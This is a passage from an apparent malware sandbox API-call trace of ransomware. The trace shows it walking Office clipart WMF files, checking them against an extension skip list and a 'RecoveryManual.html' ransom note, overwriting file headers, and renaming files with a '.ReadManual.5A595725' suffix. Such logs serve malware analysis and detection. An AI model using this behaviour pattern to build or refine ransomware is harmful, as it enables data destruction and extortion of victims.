psz2="msi") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.143] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" [0269.143] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.ReadManual.5A595725" [0269.143] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.ReadManual.5A595725") returned 87 [0269.143] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38981185998) returned 1 [0269.143] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf")) returned 0x20 [0269.143] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.144] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14420) returned 1 [0269.144] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3854, lpName=0x0) returned 0x184 [0269.144] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.144] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.144] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.146] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.146] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3854) returned 0x2f0000 [0269.147] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.147] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38981541548) returned 1 [0269.147] CloseHandle (hObject=0x184) returned 1 [0269.147] SetSecurityInfo () returned 0x57 [0269.147] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.147] CloseHandle (hObject=0x194) returned 1 [0269.147] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1 [0269.147] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0281638.WMF" | out: lpString1="J0281638.WMF") returned="J0281638.WMF" [0269.147] lstrcmpiW (lpString1="J0281638.WMF", lpString2="RecoveryManual.html") returned -1 [0269.147] StrStrIW (lpFirst="J0281638.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.147] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.147] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.148] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" [0269.148] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.ReadManual.5A595725" [0269.148] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.ReadManual.5A595725") returned 87 [0269.148] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38981638826) returned 1 [0269.148] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf")) returned 0x20 [0269.148] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.148] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11912) returned 1 [0269.148] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e88, lpName=0x0) returned 0x184 [0269.148] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.149] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.149] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.151] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.151] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e88) returned 0x2f0000 [0269.151] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.151] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38981987200) returned 1 [0269.151] CloseHandle (hObject=0x184) returned 1 [0269.151] SetSecurityInfo () returned 0x57 [0269.151] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.151] CloseHandle (hObject=0x194) returned 1 [0269.151] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1 [0269.151] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0281640.WMF" | out: lpString1="J0281640.WMF") returned="J0281640.WMF" [0269.151] lstrcmpiW (lpString1="J0281640.WMF", lpString2="RecoveryManual.html") returned -1 [0269.152] StrStrIW (lpFirst="J0281640.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.152] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.152] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.152] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" [0269.152] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.ReadManual.5A595725" [0269.152] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.ReadManual.5A595725") returned 87 [0269.152] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38982083275) returned 1 [0269.152] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf")) returned 0x20 [0269.152] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.153] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12530) returned 1 [0269.153] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30f2, lpName=0x0) returned 0x184 [0269.153] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.153] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.154] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.155] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.155] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30f2) returned 0x2f0000 [0269.156] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.156] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38982439984) returned 1 [0269.156] CloseHandle (hObject=0x184) returned 1 [0269.156] SetSecurityInfo () returned 0x57 [0269.156] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.156] CloseHandle (hObject=0x194) returned 1 [0269.156] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1 [0269.156] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0282126.WMF" | out: lpString1="J0282126.WMF") returned="J0282126.WMF" [0269.156] lstrcmpiW (lpString1="J0282126.WMF", lpString2="RecoveryManual.html") returned -1 [0269.156] StrStrIW (lpFirst="J0282126.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.156] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.156] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.156] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" [0269.157] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.ReadManual.5A595725" [0269.157] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.ReadManual.5A595725") returned 87 [0269.157] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38982540482) returned 1 [0269.157] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf")) returned 0x20 [0269.157] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.157] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15518) returned 1 [0269.157] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c9e, lpName=0x0) returned 0x184 [0269.157] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.158] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.158] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.161] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.161] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c9e) returned 0x2f0000 [0269.161] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.161] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38983218369) returned 1 [0269.163] CloseHandle (hObject=0x184) returned 1 [0269.164] SetSecurityInfo () returned 0x57 [0269.164] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.164] CloseHandle (hObject=0x194) returned 1 [0269.164] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1 [0269.164] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0282928.WMF" | out: lpString1="J0282928.WMF") returned="J0282928.WMF" [0269.164] lstrcmpiW (lpString1="J0282928.WMF", lpString2="RecoveryManual.html") returned -1 [0269.164] StrStrIW (lpFirst="J0282928.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.164] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.164] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.164] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" [0269.164] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.ReadManual.5A595725" [0269.164] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.ReadManual.5A595725") returned 87 [0269.164] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38983312567) returned 1 [0269.164] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf")) returned 0x20 [0269.165] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.166] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33126) returned 1 [0269.166] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8166, lpName=0x0) returned 0x184 [0269.166] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.166] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.166] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.168] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.175] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8166) returned 0x2f0000 [0269.176] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.176] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38984505454) returned 1 [0269.176] CloseHandle (hObject=0x184) returned 1 [0269.176] SetSecurityInfo () returned 0x57 [0269.177] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.177] CloseHandle (hObject=0x194) returned 1 [0269.177] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1 [0269.177] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0282932.WMF" | out: lpString1="J0282932.WMF") returned="J0282932.WMF" [0269.177] lstrcmpiW (lpString1="J0282932.WMF", lpString2="RecoveryManual.html") returned -1 [0269.177] StrStrIW (lpFirst="J0282932.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.177] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.177] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.177] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" [0269.177] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.ReadManual.5A595725" [0269.177] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.ReadManual.5A595725") returned 87 [0269.177] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38984606526) returned 1 [0269.177] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 